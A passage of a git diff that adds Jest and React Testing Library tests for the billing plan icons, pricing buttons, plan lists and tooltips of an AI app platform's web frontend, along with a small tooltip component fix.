+      rerender(<Professional />)
+      const secondRender = container.innerHTML
+
+      // Content should still be the same even without memoization
+      expect(firstRender).toBe(secondRender)
+    })
+  })
+
+  describe('Accessibility', () => {
+    it('should render as a decorative image (no accessibility concerns for icon)', () => {
+      const { container } = render(<Professional />)
+      const svg = container.querySelector('svg')
+
+      // SVG icons typically don't need aria-labels if they're decorative
+      // This test ensures the SVG is present and renderable
+      expect(svg).toBeInTheDocument()
+    })
+  })
+
+  describe('Edge Cases', () => {
+    it('should handle multiple instances without conflicts', () => {
+      const { container } = render(
+        <>
+          <Professional />
+          <Professional />
+          <Professional />
+        </>,
+      )
+
+      const svgs = container.querySelectorAll('svg')
+      expect(svgs).toHaveLength(3)
+    })
+
+    it('should maintain structure when wrapped in other elements', () => {
+      const { container } = render(
+        <div>
+          <span>
+            <Professional />
+          </span>
+        </div>,
+      )
+
+      const svg = container.querySelector('svg')
+      expect(svg).toBeInTheDocument()
+      expect(svg?.getAttribute('width')).toBe('32')
+    })
+
+    it('should render in different contexts without errors', () => {
+      const { container } = render(
+        <div className="test-wrapper">
+          <Professional />
+        </div>,
+      )
+
+      const svg = container.querySelector('svg')
+      expect(svg).toBeInTheDocument()
+    })
+  })
+
+  describe('CSS Variables', () => {
+    it('should use CSS custom properties for colors', () => {
+      const { container } = render(<Professional />)
+      const elementsWithCSSVars = container.querySelectorAll('[fill*="var("]')
+
+      // All fill attributes should use CSS variables
+      expect(elementsWithCSSVars.length).toBeGreaterThan(0)
+    })
+
+    it('should have opacity attributes on quaternary elements', () => {
+      const { container } = render(<Professional />)
+      const quaternaryElements = container.querySelectorAll('[fill="var(--color-text-quaternary)"]')
+
+      quaternaryElements.forEach((element) => {
+        expect(element).toHaveAttribute('opacity', '0.18')
+      })
+    })
+
+    it('should not have opacity on blue inverted elements', () => {
+      const { container } = render(<Professional />)
+      const blueElements = container.querySelectorAll('[fill="var(--color-saas-dify-blue-inverted)"]')
+
+      blueElements.forEach((element) => {
+        expect(element).not.toHaveAttribute('opacity')
+      })
+    })
+  })
+
+  describe('SVG Structure', () => {
+    it('should have correct rect element structure', () => {
+      const { container } = render(<Professional />)
+      const rects = container.querySelectorAll('rect')
+
+      // Each rect should have specific attributes
+      rects.forEach((rect) => {
+        expect(rect).toHaveAttribute('width', '2')
+        expect(rect).toHaveAttribute('height', '2')
+        expect(rect).toHaveAttribute('rx', '1')
+        expect(rect).toHaveAttribute('fill')
+      })
+    })
+
+    it('should maintain exact pixel positioning', () => {
+      const { container } = render(<Professional />)
+      const rects = container.querySelectorAll('rect')
+
+      // Ensure positioning attributes exist
+      rects.forEach((rect) => {
+        expect(rect).toHaveAttribute('x')
+        expect(rect).toHaveAttribute('y')
+      })
+    })
+  })
+})
diff --git a/web/app/components/billing/plan/assets/sandbox.spec.tsx b/web/app/components/billing/plan/assets/sandbox.spec.tsx
new file mode 100644
index 0000000000..5a5accf362
--- /dev/null
+++ b/web/app/components/billing/plan/assets/sandbox.spec.tsx
@@ -0,0 +1,128 @@
+import { render } from '@testing-library/react'
+import React from 'react'
+import Sandbox from './sandbox'
+
+describe('Sandbox Icon Component', () => {
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      const { container } = render(<Sandbox />)
+      expect(container.firstChild).toBeInTheDocument()
+    })
+
+    it('should render an SVG element', () => {
+      const { container } = render(<Sandbox />)
+      const svg = container.querySelector('svg')
+      expect(svg).toBeInTheDocument()
+    })
+
+    it('should have correct SVG attributes', () => {
+      const { container } = render(<Sandbox />)
+      const svg = container.querySelector('svg')
+
+      expect(svg).toHaveAttribute('xmlns', 'http://www.w3.org/2000/svg')
+      expect(svg).toHaveAttribute('width', '32')
+      expect(svg).toHaveAttribute('height', '32')
+      expect(svg).toHaveAttribute('viewBox', '0 0 32 32')
+      expect(svg).toHaveAttribute('fill', 'none')
+    })
+
+    it('should render correct number of SVG elements', () => {
+      const { container } = render(<Sandbox />)
+      const rects = container.querySelectorAll('rect')
+      const paths = container.querySelectorAll('path')
+
+      // Based on the component structure
+      expect(rects.length).toBeGreaterThan(0)
+      expect(paths.length).toBeGreaterThan(0)
+    })
+
+    it('should render elements with correct fill colors', () => {
+      const { container } = render(<Sandbox />)
+      const blueElements = container.querySelectorAll('[fill="var(--color-saas-dify-blue-inverted)"]')
+      const quaternaryElements = container.querySelectorAll('[fill="var(--color-text-quaternary)"]')
+
+      expect(blueElements.length).toBeGreaterThan(0)
+      expect(quaternaryElements.length).toBeGreaterThan(0)
+    })
+  })
+
+  describe('Component Behavior', () => {
+    it('should be memoized with React.memo', () => {
+      // React.memo wraps the component, so the display name should indicate memoization
+      // The component itself should be stable across re-renders
+      const { rerender, container } = render(<Sandbox />)
+      const firstRender = container.innerHTML
+
+      rerender(<Sandbox />)
+      const secondRender = container.innerHTML
+
+      expect(firstRender).toBe(secondRender)
+    })
+
+    it('should render consistently across multiple renders', () => {
+      const { container: container1 } = render(<Sandbox />)
+      const { container: container2 } = render(<Sandbox />)
+
+      expect(container1.innerHTML).toBe(container2.innerHTML)
+    })
+  })
+
+  describe('Accessibility', () => {
+    it('should render as a decorative image (no accessibility concerns for icon)', () => {
+      const { container } = render(<Sandbox />)
+      const svg = container.querySelector('svg')
+
+      // SVG icons typically don't need aria-labels if they're decorative
+      // This test ensures the SVG is present and renderable
+      expect(svg).toBeInTheDocument()
+    })
+  })
+
+  describe('Edge Cases', () => {
+    it('should handle multiple instances without conflicts', () => {
+      const { container } = render(
+        <>
+          <Sandbox />
+          <Sandbox />
+          <Sandbox />
+        </>,
+      )
+
+      const svgs = container.querySelectorAll('svg')
+      expect(svgs).toHaveLength(3)
+    })
+
+    it('should maintain structure when wrapped in other elements', () => {
+      const { container } = render(
+        <div>
+          <span>
+            <Sandbox />
+          </span>
+        </div>,
+      )
+
+      const svg = container.querySelector('svg')
+      expect(svg).toBeInTheDocument()
+      expect(svg?.getAttribute('width')).toBe('32')
+    })
+  })
+
+  describe('CSS Variables', () => {
+    it('should use CSS custom properties for colors', () => {
+      const { container } = render(<Sandbox />)
+      const elementsWithCSSVars = container.querySelectorAll('[fill*="var("]')
+
+      // All fill attributes should use CSS variables
+      expect(elementsWithCSSVars.length).toBeGreaterThan(0)
+    })
+
+    it('should have opacity attributes on quaternary elements', () => {
+      const { container } = render(<Sandbox />)
+      const quaternaryElements = container.querySelectorAll('[fill="var(--color-text-quaternary)"]')
+
+      quaternaryElements.forEach((element) => {
+        expect(element).toHaveAttribute('opacity', '0.18')
+      })
+    })
+  })
+})
diff --git a/web/app/components/billing/plan/assets/team.spec.tsx b/web/app/components/billing/plan/assets/team.spec.tsx
new file mode 100644
index 0000000000..60e69aa280
--- /dev/null
+++ b/web/app/components/billing/plan/assets/team.spec.tsx
@@ -0,0 +1,199 @@
+import { render } from '@testing-library/react'
+import Team from './team'
+
+describe('Team Icon Component', () => {
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      const { container } = render(<Team />)
+      expect(container.firstChild).toBeInTheDocument()
+    })
+
+    it('should render an SVG element', () => {
+      const { container } = render(<Team />)
+      const svg = container.querySelector('svg')
+      expect(svg).toBeInTheDocument()
+    })
+
+    it('should have correct SVG attributes', () => {
+      const { container } = render(<Team />)
+      const svg = container.querySelector('svg')
+
+      expect(svg).toHaveAttribute('xmlns', 'http://www.w3.org/2000/svg')
+      expect(svg).toHaveAttribute('width', '32')
+      expect(svg).toHaveAttribute('height', '32')
+      expect(svg).toHaveAttribute('viewBox', '0 0 32 32')
+      expect(svg).toHaveAttribute('fill', 'none')
+    })
+
+    it('should render both rect and path elements', () => {
+      const { container } = render(<Team />)
+      const rects = container.querySelectorAll('rect')
+      const paths = container.querySelectorAll('path')
+
+      // Team icon uses both rects and paths
+      expect(rects.length).toBeGreaterThan(0)
+      expect(paths.length).toBeGreaterThan(0)
+    })
+
+    it('should render elements with correct fill colors', () => {
+      const { container } = render(<Team />)
+      const blueElements = container.querySelectorAll('[fill="var(--color-saas-dify-blue-inverted)"]')
+      const quaternaryElements = container.querySelectorAll('[fill="var(--color-text-quaternary)"]')
+
+      expect(blueElements.length).toBeGreaterThan(0)
+      expect(quaternaryElements.length).toBeGreaterThan(0)
+    })
+  })
+
+  describe('Component Behavior', () => {
+    it('should render consistently across multiple renders', () => {
+      const { container: container1 } = render(<Team />)
+      const { container: container2 } = render(<Team />)
+
+      expect(container1.innerHTML).toBe(container2.innerHTML)
+    })
+
+    it('should maintain stable output without memoization', () => {
+      const { container, rerender } = render(<Team />)
+      const firstRender = container.innerHTML
+
+      rerender(<Team />)
+      const secondRender = container.innerHTML
+
+      expect(firstRender).toBe(secondRender)
+    })
+  })
+
+  describe('Accessibility', () => {
+    it('should render as a decorative image', () => {
+      const { container } = render(<Team />)
+      const svg = container.querySelector('svg')
+
+      expect(svg).toBeInTheDocument()
+    })
+
+    it('should be usable in accessible contexts', () => {
+      const { container } = render(
+        <div role="img" aria-label="Team plan">
+          <Team />
+        </div>,
+      )
+
+      const wrapper = container.querySelector('[role="img"]')
+      expect(wrapper).toBeInTheDocument()
+      expect(wrapper).toHaveAttribute('aria-label', 'Team plan')
+    })
+  })
+
+  describe('Edge Cases', () => {
+    it('should handle multiple instances without conflicts', () => {
+      const { container } = render(
+        <>
+          <Team />
+          <Team />
+          <Team />
+        </>,
+      )
+
+      const svgs = container.querySelectorAll('svg')
+      expect(svgs).toHaveLength(3)
+    })
+
+    it('should maintain structure when wrapped in other elements', () => {
+      const { container } = render(
+        <div>
+          <span>
+            <Team />
+          </span>
+        </div>,
+      )
+
+      const svg = container.querySelector('svg')
+      expect(svg).toBeInTheDocument()
+      expect(svg?.getAttribute('width')).toBe('32')
+    })
+
+    it('should render correctly in list context', () => {
+      const { container } = render(
+        <ul>
+          <li>
+            <Team />
+          </li>
+          <li>
+            <Team />
+          </li>
+        </ul>,
+      )
+
+      const svgs = container.querySelectorAll('svg')
+      expect(svgs).toHaveLength(2)
+    })
+  })
+
+  describe('CSS Variables', () => {
+    it('should use CSS custom properties for colors', () => {
+      const { container } = render(<Team />)
+      const elementsWithCSSVars = container.querySelectorAll('[fill*="var("]')
+
+      expect(elementsWithCSSVars.length).toBeGreaterThan(0)
+    })
+
+    it('should have opacity attributes on quaternary path elements', () => {
+      const { container } = render(<Team />)
+      const quaternaryPaths = container.querySelectorAll('path[fill="var(--color-text-quaternary)"]')
+
+      quaternaryPaths.forEach((path) => {
+        expect(path).toHaveAttribute('opacity', '0.18')
+      })
+    })
+
+    it('should not have opacity on blue inverted elements', () => {
+      const { container } = render(<Team />)
+      const blueRects = container.querySelectorAll('rect[fill="var(--color-saas-dify-blue-inverted)"]')
+
+      blueRects.forEach((rect) => {
+        expect(rect).not.toHaveAttribute('opacity')
+      })
+    })
+  })
+
+  describe('SVG Structure', () => {
+    it('should have correct rect element attributes', () => {
+      const { container } = render(<Team />)
+      const rects = container.querySelectorAll('rect')
+
+      rects.forEach((rect) => {
+        expect(rect).toHaveAttribute('x')
+        expect(rect).toHaveAttribute('y')
+        expect(rect).toHaveAttribute('width', '2')
+        expect(rect).toHaveAttribute('height', '2')
+        expect(rect).toHaveAttribute('rx', '1')
+        expect(rect).toHaveAttribute('fill')
+      })
+    })
+
+    it('should have correct path element structure', () => {
+      const { container } = render(<Team />)
+      const paths = container.querySelectorAll('path')
+
+      paths.forEach((path) => {
+        expect(path).toHaveAttribute('d')
+        expect(path).toHaveAttribute('fill')
+      })
+    })
+
+    it('should maintain proper element positioning', () => {
+      const { container } = render(<Team />)
+      const svg = container.querySelector('svg')
+
+      expect(svg?.childNodes.length).toBeGreaterThan(0)
+    })
+  })
+
+  describe('Export', () => {
+    it('should be the default export', () => {
+      expect(Team).toBeDefined()
+      expect(typeof Team).toBe('function')
+    })
+  })
+})
diff --git a/web/app/components/billing/pricing/plans/cloud-plan-item/button.spec.tsx b/web/app/components/billing/pricing/plans/cloud-plan-item/button.spec.tsx
new file mode 100644
index 0000000000..0c50c80c87
--- /dev/null
+++ b/web/app/components/billing/pricing/plans/cloud-plan-item/button.spec.tsx
@@ -0,0 +1,50 @@
+import React from 'react'
+import { fireEvent, render, screen } from '@testing-library/react'
+import Button from './button'
+import { Plan } from '../../../type'
+
+describe('CloudPlanButton', () => {
+  describe('Disabled state', () => {
+    test('should disable button and hide arrow when plan is not available', () => {
+      const handleGetPayUrl = jest.fn()
+      // Arrange
+      render(
+        <Button
+          plan={Plan.team}
+          isPlanDisabled
+          btnText="Get started"
+          handleGetPayUrl={handleGetPayUrl}
+        />,
+      )
+
+      const button = screen.getByRole('button', { name: /Get started/i })
+      // Assert
+      expect(button).toBeDisabled()
+      expect(button.className).toContain('cursor-not-allowed')
+      expect(handleGetPayUrl).not.toHaveBeenCalled()
+    })
+  })
+
+  describe('Enabled state', () => {
+    test('should invoke handler and render arrow when plan is available', () => {
+      const handleGetPayUrl = jest.fn()
+      // Arrange
+      render(
+        <Button
+          plan={Plan.sandbox}
+          isPlanDisabled={false}
+          btnText="Start now"
+          handleGetPayUrl={handleGetPayUrl}
+        />,
+      )
+
+      const button = screen.getByRole('button', { name: /Start now/i })
+      // Act
+      fireEvent.click(button)
+
+      // Assert
+      expect(handleGetPayUrl).toHaveBeenCalledTimes(1)
+      expect(button).not.toBeDisabled()
+    })
+  })
+})
diff --git a/web/app/components/billing/pricing/plans/cloud-plan-item/index.spec.tsx b/web/app/components/billing/pricing/plans/cloud-plan-item/index.spec.tsx
new file mode 100644
index 0000000000..4e748adea0
--- /dev/null
+++ b/web/app/components/billing/pricing/plans/cloud-plan-item/index.spec.tsx
@@ -0,0 +1,188 @@
+import React from 'react'
+import { fireEvent, render, screen, waitFor } from '@testing-library/react'
+import CloudPlanItem from './index'
+import { Plan } from '../../../type'
+import { PlanRange } from '../../plan-switcher/plan-range-switcher'
+import { useAppContext } from '@/context/app-context'
+import { useAsyncWindowOpen } from '@/hooks/use-async-window-open'
+import { fetchBillingUrl, fetchSubscriptionUrls } from '@/service/billing'
+import Toast from '../../../../base/toast'
+import { ALL_PLANS } from '../../../config'
+
+jest.mock('../../../../base/toast', () => ({
+  __esModule: true,
+  default: {
+    notify: jest.fn(),
+  },
+}))
+
+jest.mock('@/context/app-context', () => ({
+  useAppContext: jest.fn(),
+}))
+
+jest.mock('@/service/billing', () => ({
+  fetchBillingUrl: jest.fn(),
+  fetchSubscriptionUrls: jest.fn(),
+}))
+
+jest.mock('@/hooks/use-async-window-open', () => ({
+  useAsyncWindowOpen: jest.fn(),
+}))
+
+jest.mock('../../assets', () => ({
+  Sandbox: () => <div>Sandbox Icon</div>,
+  Professional: () => <div>Professional Icon</div>,
+  Team: () => <div>Team Icon</div>,
+}))
+
+const mockUseAppContext = useAppContext as jest.Mock
+const mockUseAsyncWindowOpen = useAsyncWindowOpen as jest.Mock
+const mockFetchBillingUrl = fetchBillingUrl as jest.Mock
+const mockFetchSubscriptionUrls = fetchSubscriptionUrls as jest.Mock
+const mockToastNotify = Toast.notify as jest.Mock
+
+let assignedHref = ''
+const originalLocation = window.location
+
+beforeAll(() => {
+  Object.defineProperty(window, 'location', {
+    configurable: true,
+    value: {
+      get href() {
+        return assignedHref
+      },
+      set href(value: string) {
+        assignedHref = value
+      },
+    } as unknown as Location,
+  })
+})
+
+afterAll(() => {
+  Object.defineProperty(window, 'location', {
+    configurable: true,
+    value: originalLocation,
+  })
+})
+
+beforeEach(() => {
+  jest.clearAllMocks()
+  mockUseAppContext.mockReturnValue({ isCurrentWorkspaceManager: true })
+  mockUseAsyncWindowOpen.mockReturnValue(jest.fn(async open => await open()))
+  mockFetchBillingUrl.mockResolvedValue({ url: 'https://billing.example' })
+  mockFetchSubscriptionUrls.mockResolvedValue({ url: 'https://subscription.example' })
+  assignedHref = ''
+})
+
+describe('CloudPlanItem', () => {
+  // Static content for each plan
+  describe('Rendering', () => {
+    test('should show plan metadata and free label for sandbox plan', () => {
+      render(
+        <CloudPlanItem
+          plan={Plan.sandbox}
+          currentPlan={Plan.sandbox}
+          planRange={PlanRange.monthly}
+          canPay
+        />,
+      )
+
+      expect(screen.getByText('billing.plans.sandbox.name')).toBeInTheDocument()
+      expect(screen.getByText('billing.plans.sandbox.description')).toBeInTheDocument()
+      expect(screen.getByText('billing.plansCommon.free')).toBeInTheDocument()
+      expect(screen.getByRole('button', { name: 'billing.plansCommon.currentPlan' })).toBeInTheDocument()
+    })
+
+    test('should display yearly pricing with discount when planRange is yearly', () => {
+      render(
+        <CloudPlanItem
+          plan={Plan.professional}
+          currentPlan={Plan.sandbox}
+          planRange={PlanRange.yearly}
+          canPay
+        />,
+      )
+
+      const professionalPlan = ALL_PLANS[Plan.professional]
+      expect(screen.getByText(`$${professionalPlan.price * 12}`)).toBeInTheDocument()
+      expect(screen.getByText(`$${professionalPlan.price * 10}`)).toBeInTheDocument()
+      expect(screen.getByText(/billing\.plansCommon\.priceTip.*billing\.plansCommon\.year/)).toBeInTheDocument()
+    })
+
+    test('should disable CTA when workspace already on higher tier', () => {
+      render(
+        <CloudPlanItem
+          plan={Plan.professional}
+          currentPlan={Plan.team}
+          planRange={PlanRange.monthly}
+          canPay
+        />,
+      )
+
+      const button = screen.getByRole('button', { name: 'billing.plansCommon.startBuilding' })
+      expect(button).toBeDisabled()
+    })
+  })
+
+  // Payment actions triggered from the CTA
+  describe('Plan purchase flow', () => {
+    test('should show toast when non-manager tries to buy a plan', () => {
+      mockUseAppContext.mockReturnValue({ isCurrentWorkspaceManager: false })
+
+      render(
+        <CloudPlanItem
+          plan={Plan.professional}
+          currentPlan={Plan.sandbox}
+          planRange={PlanRange.monthly}
+          canPay
+        />,
+      )
+
+      fireEvent.click(screen.getByRole('button', { name: 'billing.plansCommon.startBuilding' }))
+      expect(mockToastNotify).toHaveBeenCalledWith(expect.objectContaining({
+        type: 'error',
+        message: 'billing.buyPermissionDeniedTip',
+      }))
+      expect(mockFetchBillingUrl).not.toHaveBeenCalled()
+    })
+
+    test('should open billing portal when upgrading current paid plan', async () => {
+      const openWindow = jest.fn(async (cb: () => Promise<string>) => await cb())
+      mockUseAsyncWindowOpen.mockReturnValue(openWindow)
+
+      render(
+        <CloudPlanItem
+          plan={Plan.professional}
+          currentPlan={Plan.professional}
+          planRange={PlanRange.monthly}
+          canPay
+        />,
+      )
+
+      fireEvent.click(screen.getByRole('button', { name: 'billing.plansCommon.currentPlan' }))
+
+      await waitFor(() => {
+        expect(mockFetchBillingUrl).toHaveBeenCalledTimes(1)
+      })
+      expect(openWindow).toHaveBeenCalledTimes(1)
+    })
+
+    test('should redirect to subscription url when selecting a new paid plan', async () => {
+      render(
+        <CloudPlanItem
+          plan={Plan.professional}
+          currentPlan={Plan.sandbox}
+          planRange={PlanRange.monthly}
+          canPay
+        />,
+      )
+
+      fireEvent.click(screen.getByRole('button', { name: 'billing.plansCommon.startBuilding' }))
+
+      await waitFor(() => {
+        expect(mockFetchSubscriptionUrls).toHaveBeenCalledWith(Plan.professional, 'month')
+        expect(assignedHref).toBe('https://subscription.example')
+      })
+    })
+  })
+})
diff --git a/web/app/components/billing/pricing/plans/cloud-plan-item/list/index.spec.tsx b/web/app/components/billing/pricing/plans/cloud-plan-item/list/index.spec.tsx
new file mode 100644
index 0000000000..fa49a6d8cf
--- /dev/null
+++ b/web/app/components/billing/pricing/plans/cloud-plan-item/list/index.spec.tsx
@@ -0,0 +1,30 @@
+import React from 'react'
+import { render, screen } from '@testing-library/react'
+import List from './index'
+import { Plan } from '../../../../type'
+
+describe('CloudPlanItem/List', () => {
+  test('should show sandbox specific quotas', () => {
+    render(<List plan={Plan.sandbox} />)
+
+    expect(screen.getByText('billing.plansCommon.messageRequest.title:{"count":200}')).toBeInTheDocument()
+    expect(screen.getByText('billing.plansCommon.triggerEvents.sandbox:{"count":3000}')).toBeInTheDocument()
+    expect(screen.getByText('billing.plansCommon.startNodes.limited:{"count":2}')).toBeInTheDocument()
+  })
+
+  test('should show professional monthly quotas and tooltips', () => {
+    render(<List plan={Plan.professional} />)
+
+    expect(screen.getByText('billing.plansCommon.messageRequest.titlePerMonth:{"count":5000}')).toBeInTheDocument()
+    expect(screen.getByText('billing.plansCommon.vectorSpaceTooltip')).toBeInTheDocument()
+    expect(screen.getByText('billing.plansCommon.workflowExecution.faster')).toBeInTheDocument()
+  })
+
+  test('should show unlimited messaging details for team plan', () => {
+    render(<List plan={Plan.team} />)
+
+    expect(screen.getByText('billing.plansCommon.triggerEvents.unlimited')).toBeInTheDocument()
+    expect(screen.getByText('billing.plansCommon.workflowExecution.priority')).toBeInTheDocument()
+    expect(screen.getByText('billing.plansCommon.unlimitedApiRate')).toBeInTheDocument()
+  })
+})
diff --git a/web/app/components/billing/pricing/plans/cloud-plan-item/list/item/index.spec.tsx b/web/app/components/billing/pricing/plans/cloud-plan-item/list/item/index.spec.tsx
new file mode 100644
index 0000000000..25ee1fb8c8
--- /dev/null
+++ b/web/app/components/billing/pricing/plans/cloud-plan-item/list/item/index.spec.tsx
@@ -0,0 +1,52 @@
+import { render, screen } from '@testing-library/react'
+import Item from './index'
+
+describe('Item', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  // Rendering the plan item row
+  describe('Rendering', () => {
+    it('should render the provided label when tooltip is absent', () => {
+      // Arrange
+      const label = 'Monthly credits'
+
+      // Act
+      const { container } = render(<Item label={label} />)
+
+      // Assert
+      expect(screen.getByText(label)).toBeInTheDocument()
+      expect(container.querySelector('.group')).toBeNull()
+    })
+  })
+
+  // Toggling the optional tooltip indicator
+  describe('Tooltip behavior', () => {
+    it('should render tooltip content when tooltip text is provided', () => {
+      // Arrange
+      const label = 'Workspace seats'
+      const tooltip = 'Seats define how many teammates can join the workspace.'
+
+      // Act
+      const { container } = render(<Item label={label} tooltip={tooltip} />)
+
+      // Assert
+      expect(screen.getByText(label)).toBeInTheDocument()
+      expect(screen.getByText(tooltip)).toBeInTheDocument()
+      expect(container.querySelector('.group')).not.toBeNull()
+    })
+
+    it('should treat an empty tooltip string as absent', () => {
+      // Arrange
+      const label = 'Vector storage'
+
+      // Act
+      const { container } = render(<Item label={label} tooltip='' />)
+
+      // Assert
+      expect(screen.getByText(label)).toBeInTheDocument()
+      expect(container.querySelector('.group')).toBeNull()
+    })
+  })
+})
diff --git a/web/app/components/billing/pricing/plans/cloud-plan-item/list/item/tooltip.spec.tsx b/web/app/components/billing/pricing/plans/cloud-plan-item/list/item/tooltip.spec.tsx
new file mode 100644
index 0000000000..b1a6750fd7
--- /dev/null
+++ b/web/app/components/billing/pricing/plans/cloud-plan-item/list/item/tooltip.spec.tsx
@@ -0,0 +1,46 @@
+import { render, screen } from '@testing-library/react'
+import Tooltip from './tooltip'
+
+describe('Tooltip', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  // Rendering the info tooltip container
+  describe('Rendering', () => {
+    it('should render the content panel when provide with text', () => {
+      // Arrange
+      const content = 'Usage resets on the first day of every month.'
+
+      // Act
+      render(<Tooltip content={content} />)
+
+      // Assert
+      expect(() => screen.getByText(content)).not.toThrow()
+    })
+  })
+
+  describe('Icon rendering', () => {
+    it('should render the icon when provided with content', () => {
+      // Arrange
+      const content = 'Tooltips explain each plan detail.'
+
+      // Act
+      render(<Tooltip content={content} />)
+
+      // Assert
+      expect(screen.getByTestId('tooltip-icon')).toBeInTheDocument()
+    })
+  })
+
+  // Handling empty strings while keeping structure consistent
+  describe('Edge cases', () => {
+    it('should render without crashing when passed empty content', () => {
+      // Arrange
+      const content = ''
+
+      // Act and Assert
+      expect(() => render(<Tooltip content={content} />)).not.toThrow()
+    })
+  })
+})
diff --git a/web/app/components/billing/pricing/plans/cloud-plan-item/list/item/tooltip.tsx b/web/app/components/billing/pricing/plans/cloud-plan-item/list/item/tooltip.tsx
index 84e0282993..cf6517b292 100644
--- a/web/app/components/billing/pricing/plans/cloud-plan-item/list/item/tooltip.tsx
+++ b/web/app/components/billing/pricing/plans/cloud-plan-item/list/item/tooltip.tsx
@@ -8,13 +8,15 @@ type TooltipProps = {
 const Tooltip = ({
   content,
 }: TooltipProps) => {
+  if (!content)
+    return null
   return (
     <div className='group relative z-10 size-[18px] overflow-visible'>
       <div className='system-xs-regular absolute bottom-0 right-0 -z-10 hidden w-[260px] bg-saas-dify-blue-static px-5 py-[18px] text-text-primary-on-surface group-hover:block'>
         {content}
       </div>
       <div className='flex h-full w-full items-center justify-center rounded-[4px] bg-state-base-hover transition-all duration-500 ease-in-out group-hover:rounded-none group-hover:bg-saas-dify-blue-static'>
-        <RiInfoI className='size-3.5 text-text-tertiary group-hover:text-text-primary-on-surface' />
+        <RiInfoI className='size-3.5 text-text-tertiary group-hover:text-text-primary-on-surface' data-testid="tooltip-icon" />
       </div>
     </div>
   )
diff --git a/web/app/components/billing/pricing/plans/index.spec.tsx b/web/app/components/billing/pricing/plans/index.spec.tsx
new file mode 100644
index 0000000000..cc2fe2d4ae
--- /dev/null
+++ b/web/app/components/billing/pricing/plans/index.spec.tsx
@@ -0,0 +1,87 @@
+import React from 'react'
+import { render, screen } from '@testing-library/react'
+import Plans from './index'
+import { Plan, type UsagePlanInfo } from '../../type'
+import { PlanRange } from '../plan-switcher/plan-range-switcher'
+
+jest.mock('./cloud-plan-item', () => ({
+  __esModule: true,
+  default: jest.fn(props => (
+    <div data-testid={`cloud-plan-${props.plan}`} data-current-plan={props.currentPlan}>
+      Cloud {props.plan}
+    </div>
+  )),
+}))
+
+jest.mock('./self-hosted-plan-item', () => ({
+  __esModule: true,
+  default: jest.fn(props => (
+    <div data-testid={`self-plan-${props.plan}`}>
+      Self {props.plan}
+    </div>
+  )),
+}))
+
+const buildPlan = (type: Plan) => {
+  const usage: UsagePlanInfo = {
+    buildApps: 0,
+    teamMembers: 0,
+    annotatedResponse: 0,
+    documentsUploadQuota: 0,
+    apiRateLimit: 0,
+    triggerEvents: 0,
+    vectorSpace: 0,
+  }
+  return {
+    type,
+    usage,
+    total: usage,
+  }
+}
+
+describe('Plans', () => {
+  // Cloud plans visible only when currentPlan is cloud
+  describe('Cloud plan rendering', () => {
+    test('should render sandbox, professional, and team cloud plans when workspace is cloud', () => {
+      render(
+        <Plans
+          plan={buildPlan(Plan.enterprise)}
+          currentPlan="cloud"
+          planRange={PlanRange.monthly}
+          canPay
+        />,
+      )
+
+      expect(screen.getByTestId('cloud-plan-sandbox')).toBeInTheDocument()
+      expect(screen.getByTestId('cloud-plan-professional')).toBeInTheDocument()
+      expect(screen.getByTestId('cloud-plan-team')).toBeInTheDocument()
+
+      const cloudPlanItem = jest.requireMock('./cloud-plan-item').default as jest.Mock
+      const firstCallProps = cloudPlanItem.mock.calls[0][0]
+      expect(firstCallProps.plan).toBe(Plan.sandbox)
+      // Enterprise should be normalized to team when passed down
+      expect(firstCallProps.currentPlan).toBe(Plan.team)
+    })
+  })
+
+  // Self-hosted plans visible for self-managed workspaces
+  describe('Self-hosted plan rendering', () => {
+    test('should render all self-hosted plans when workspace type is self-hosted', () => {
+      render(
+        <Plans
+          plan={buildPlan(Plan.sandbox)}
+          currentPlan="self"
+          planRange={PlanRange.yearly}
+          canPay={false}
+        />,
+      )
+
+      expect(screen.getByTestId('self-plan-community')).toBeInTheDocument()
+      expect(screen.getByTestId('self-plan-premium')).toBeInTheDocument()
+      expect(screen.getByTestId('self-plan-enterprise')).toBeInTheDocument()
+
+      const selfPlanItem = jest.requireMock('./self-hosted-plan-item').default as jest.Mock
+      expect(selfPlanItem).toHaveBeenCalledTimes(3)
+    })
+  })
+})
diff --git a/web/app/components/billing/pricing/plans/self-hosted-plan-item/button.spec.tsx b/web/app/components/billing/pricing/plans/self-hosted-plan-item/button.spec.tsx
new file mode 100644
index 0000000000..4b812d4db3
--- /dev/null
+++ b/web/app/components/billing/pricing/plans/self-hosted-plan-item/button.spec.tsx
@@ -0,0 +1,61 @@
+import React from 'react'
+import { fireEvent, render, screen } from '@testing-library/react'
+import Button from './button'
+import { SelfHostedPlan } from '../../../type'
+import useTheme from '@/hooks/use-theme'
+import { Theme } from '@/types/app'
+
+jest.mock('@/hooks/use-theme')
+
+jest.mock('@/app/components/base/icons/src/public/billing', () => ({
+  AwsMarketplaceLight: () => <div>AwsMarketplaceLight</div>,
+  AwsMarketplaceDark: () => <div>AwsMarketplaceDark</div>,
+}))
+
+const mockUseTheme = useTheme as jest.MockedFunction<typeof useTheme>
+
+beforeEach(() => {
+  jest.clearAllMocks()
+  mockUseTheme.mockReturnValue({ theme: Theme.light } as unknown as ReturnType<typeof useTheme>)
+})
+
+describe('SelfHostedPlanButton', () => {
+  test('should invoke handler when clicked', () => {
+    const handleGetPayUrl = jest.fn()
+    render(
+      <Button
+        plan={SelfHostedPlan.community}
+        handleGetPayUrl={handleGetPayUrl}
+      />,
+    )
+
+    fireEvent.click(screen.getByRole('button', { name: 'billing.plans.community.btnText' }))
+    expect(handleGetPayUrl).toHaveBeenCalledTimes(1)
+  })
+
+  test('should render AWS marketplace badge for premium plan in light theme', () => {
+    const handleGetPayUrl = jest.fn()
+
+    render(
+      <Button
+        plan={SelfHostedPlan.premium}
+        handleGetPayUrl={handleGetPayUrl}
+      />,
+    )
+
+    expect(screen.getByText('AwsMarketplaceLight')).toBeInTheDocument()
+  })
+
+  test('should switch to dark AWS badge in dark theme', () => {
+    mockUseTheme.mockReturnValue({ theme: Theme.dark } as unknown as ReturnType<typeof useTheme>)
+
+    render(
+      <Button
+        plan={SelfHostedPlan.premium}
+        handleGetPayUrl={jest.fn()}
+      />,
+    )
+
+    expect(screen.getByText('AwsMarketplaceDark')).toBeInTheDocument()
+  })
+})
diff --git a/web/app/components/billing/pricing/plans/self-hosted-plan-item/index.spec.tsx b/web/app/components/billing/pricing/plans/self-hosted-plan-item/index.spec.tsx
new file mode 100644
